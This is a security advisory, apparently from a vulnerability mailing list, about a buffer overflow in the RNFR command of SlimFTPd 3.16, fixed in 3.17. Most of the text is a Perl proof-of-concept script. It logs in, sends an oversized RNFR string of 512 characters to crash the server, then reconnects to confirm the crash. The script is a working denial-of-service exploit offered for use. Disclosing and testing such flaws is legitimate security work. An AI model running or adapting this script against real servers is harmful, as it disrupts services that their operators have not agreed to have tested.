[EXPL] SlimFTPd RNFR Buffer Overflow (Exploit)

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  SlimFTPd RNFR Buffer Overflow (Exploit)
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SUMMARY

" <http://www.whitsoftdev.com/slimftpd/> SlimFTPd is a fully 
standards-compliant FTP server implementation with an advanced virtual 
file system."

Due to lack of proper length checking routines in SlimFTPd, attackers are 
able to to execute arbitrary code by overflowing a buffer the program 
uses. The following exploit code can be used to test your system for the 
mentioned vulnerabilities.

DETAILS

Vulnerable Systems:
 * SlimFTPd version 3.16

Immune Systems:
 * SlimFTPd version 3.17

Exploit:
#!/usr/bin/perl

# --------------------------------------------------- #
# 47slimftpd_bof.pl - PoC exploit for SlimFTPd Server #
# version 3.16 #
# bug found by ml-bugtraq at twilight-hall.net #
# #
# coded by k0r0l from acolytez team #
# visit http://acolytez.com for details #
# --------------------------------------------------- #

use Net::FTP;

# geting data
$host = @ARGV[0];
$port = @ARGV[1];
$debug = @ARGV[2];
$user = @ARGV[3];
$pass = @ARGV[4];

# ===========

if (($host) && ($port)) {
        
        # make exploit string
        $exploit_string = "RNFR ";
        $exploit_string .= "X"x512;
        # ===================
        
        print "Trying to connect to $host:$port\n";
        $sock = Net::FTP->new("$host",Port => $port, TimeOut => 30, Debug 
=> $debug) or die "[-] Connection failed\n";
        print "[+] Connect OK!\n";
        print "Logging...\n";
        if (!$user) {
                $user = "anonymous";
                $pass = "ftp@xxxxxxx";
        }
        $sock->login($user, $pass);
        $answer = $sock->message;
        print "Sending string...\n";
        $sock->quot($exploit_string);
        print "Server $host may be down. Checking...\n";
        $sock = Net::FTP->new("$host",Port => $port, TimeOut => 30, Debug 
=> $debug) or die "[-] Connection failed\n";
        if ($sock) {print "[-] Exploit failed.\n";} else {print "[+] 
Server crashed!\n";}
} else {
        print "SlimFTPd Server - PoC 
Exploit\nhttp://AcolyteZ.com\n\nUsing: $0 host port username password 
[debug: 1 or 0]\n\n";
}

#EoF


ADDITIONAL INFORMATION

The information has been provided by  <mailto:dim@xxxxxxxxxxxx> Dim K0r0l.



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